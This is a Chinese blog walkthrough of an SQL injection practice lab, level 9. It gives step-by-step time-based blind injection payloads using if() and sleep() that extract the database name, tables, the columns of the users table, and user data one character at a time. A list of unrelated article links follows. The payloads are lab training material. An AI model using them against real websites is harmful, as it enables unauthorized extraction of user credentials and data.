SQL靶场第九关攻略

我们的第九关需要用到时间盲注

使用条件:完全没有变化的页面

我们在了解一下时间盲注和布尔盲注的区别,时间盲注比布尔盲注多了一个if判断加上sleep()函数的运用

if(a,b,c) if判断句,a为条件,b、c为执行语句;如果a为真就执行b,a为假就执行c;

sleep()函数 网页延迟n秒后,输出结果

一.判断类型

我们输入

?id=1'

?id=1"

页面完全没反应,我们考虑时间盲注

二.判断闭合点

输入?id=1' and sleep(3)--+

输入?id=1' andif(1=2,1,sleep(3))--+,说明我们的闭合点为单引号

三.判断数据库长度

输入?id=1'and if(length(database())>7,sleep(3),1)--+

输入?id=1'and if(length(database())>8,sleep(3),1)--+,说明数据库长度为8位

四.判断数据库名称

输入?id=1' and if((substr(database(),1,1)='a'),sleep(3),0)--+无延时

输入?id=1' and if((substr(database(),1,1)='s'),sleep(3),0)--+有延时,说明s是我们数据库第一个字母

后面以此类推,得出了数据库名为security

五.判断表个数

输入?id=1'and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(3),1)--+有延时,说明存在四个表

六.判断表的长度

第一张表的长度:

输入?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(3),0)--+有延时,说明第一张表的长度为6

第四张表的长度:

?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(3),0)--+有延时说明第四张表的长度为5

七.查询表的名称

这里我们就不依次判断了,users表是五位,所以直接查第四张表

输入?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u',sleep(3),0)--+有延时,说明我们第四张表的第一位字母是u

以此类推,我们查到最后,第四张表的名称是users

八.查询字段数

输入?id=1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,sleep(3),1)--+有延时,说明users表存在三个字段

九.查询字段名

1.判断字段名长度

输入?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(3),0)--+有延时,说明users表的第一个字段名的长度为2

我们在查第二,三个字段名长度都是8

2.判读字段名

输入?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep (3),0)--+有延时,说明我们users表第一个字段的第一个字母是i

以此类推我们可以得到三个字段分别为id,username,password

十.查询数据

输入?id=1'and if(substr((select username from users limit 0,1),1,1)='d',sleep(3),1)--+有延时,说明我们username列中的第一个字段的字母为d

以此类推我们就会把所有的数据查出来

以上就是sql靶场第九关的通关攻略

相关推荐
kura_tsuki1 小时前
[Oracle数据库] Oracle 常用函数
数据库·oracle
YA3332 小时前
java基础(十)sql的mvcc
数据库
weixin_307779136 小时前
VS Code配置MinGW64编译SQLite3库
开发语言·数据库·c++·vscode·算法
SelectDB7 小时前
Apache Doris 4.0 AI 能力揭秘(一):AI 函数之 LLM 函数介绍
数据库·人工智能·数据分析
我是哈哈hh7 小时前
【MySQL】在UBuntu环境安装以及免密码登录入门
linux·数据库·mysql·ubuntu
HeyZoeHey7 小时前
Mybatis执行sql流程(一)
java·sql·mybatis
喪彪8 小时前
MySQL新手教学
数据库·mysql·adb
丘大梨10 小时前
QT 基础聊天应用项目文档
运维·数据库·系统架构
HMBBLOVEPDX10 小时前
MySQL的多版本并发控制(MVCC):
数据库·mysql·mvcc